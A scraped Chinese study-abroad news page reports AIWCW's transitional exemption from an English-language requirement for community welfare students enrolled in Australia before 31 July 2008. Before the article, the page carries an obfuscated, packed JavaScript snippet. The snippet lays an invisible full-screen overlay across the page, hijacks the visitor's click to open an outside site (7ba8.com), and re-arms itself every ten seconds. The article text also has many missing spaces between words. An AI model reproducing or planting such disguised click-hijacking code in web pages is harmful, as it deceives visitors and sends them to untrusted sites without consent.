<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script>澳大利亚留学网消息，从AIWCS协会得到消息，2008年7月31日入学的社区福利学生因为不了解AIWCW对语言要求的变化，所以在职业评估的时候，无需提供雅思7的成绩。
Transitional Arrangements
The AIWCW recognises that those international students who were enrolled in an AIWCW approved course in Australia before 31 July 2008 did not have the opportunity to be aware of the intention of the AIWCW to require an English language proficiency.
Toreduce the impact on these students, a special concession has been madeso that students who were already studying in an AIWCW approved coursein Australia on 31 July 2008, or who had signed an agreement before 31July 2008 to study such a course, will not be subject to the aboveAIWCW requirement to be proficient in the English language.
Whilstthe AIWCW has agreed to this special transitional arrangement, it is tobe acknowledged that the AIWCW has a duty of care to the communitywelfare sector, welfare professionals and students.
Wewish to ensure that Community Welfare professionals have the necessaryskills, knowledge and qualities to fulfil their roles working withindividuals and communities.
Graduates whoseEnglish language may not be of an appropriate level of proficiency willfind it increasingly difficult to obtain work in the profession and anunsatisfactory English language proficiency level my pose unacceptablerisks to clients.
AIWCWstrongly recommends that those students taking advantage of thesespecial transitional arrangements make every effort to work ondeveloping and improving their English language skills to ensure theiremployability and suitability to be employed within the CommunityWelfare Sector.
http://www.aiwcw.org.au/downloads/ENGLISH%20LANGUAGE%20REQUIREMENT%20261009.htm
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